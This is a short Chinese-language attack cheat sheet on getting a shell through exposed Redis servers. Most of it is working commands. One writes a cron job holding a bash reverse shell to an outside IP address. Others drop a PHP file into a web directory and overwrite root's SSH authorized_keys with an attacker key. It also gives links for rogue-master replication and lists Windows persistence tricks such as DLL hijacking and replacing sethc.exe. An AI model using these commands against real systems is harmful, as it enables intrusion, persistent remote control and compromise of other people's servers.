redis几种基本拿shell的方法

0x01 计划任务执行命令反弹shell

set xxx "\n\n* * * * * bash -i>& /dev/tcp/104.168.147.13/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

0x02 写web目录

config set dir /tmp/   这里应该是web目录
config set dbfilename test.php
set 1 "<?= phpinfo(); ?>"
save

0x03 写SSH key

ssh-key -t rsa#然后按照next执行就行了
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
cat test.txt |redis-cli -h 192.168.0.109 -a 123456 -x set crackit
redis执行
config set dir /root/.ssh
config set dbfilename authorized_keys
save

0x04 主从复制

https://github.com/vulhub/redis-rogue-getshell

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

redis 在win下面的利用及思考

网上常见的方法

1.web目录写马

2.写启动项

https://www.bilibili.com/read/cv7358287/

https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html

一些其它的方法

1.dll劫持

2.覆写一些文件,让用户点击。

3.覆写sethc.exe。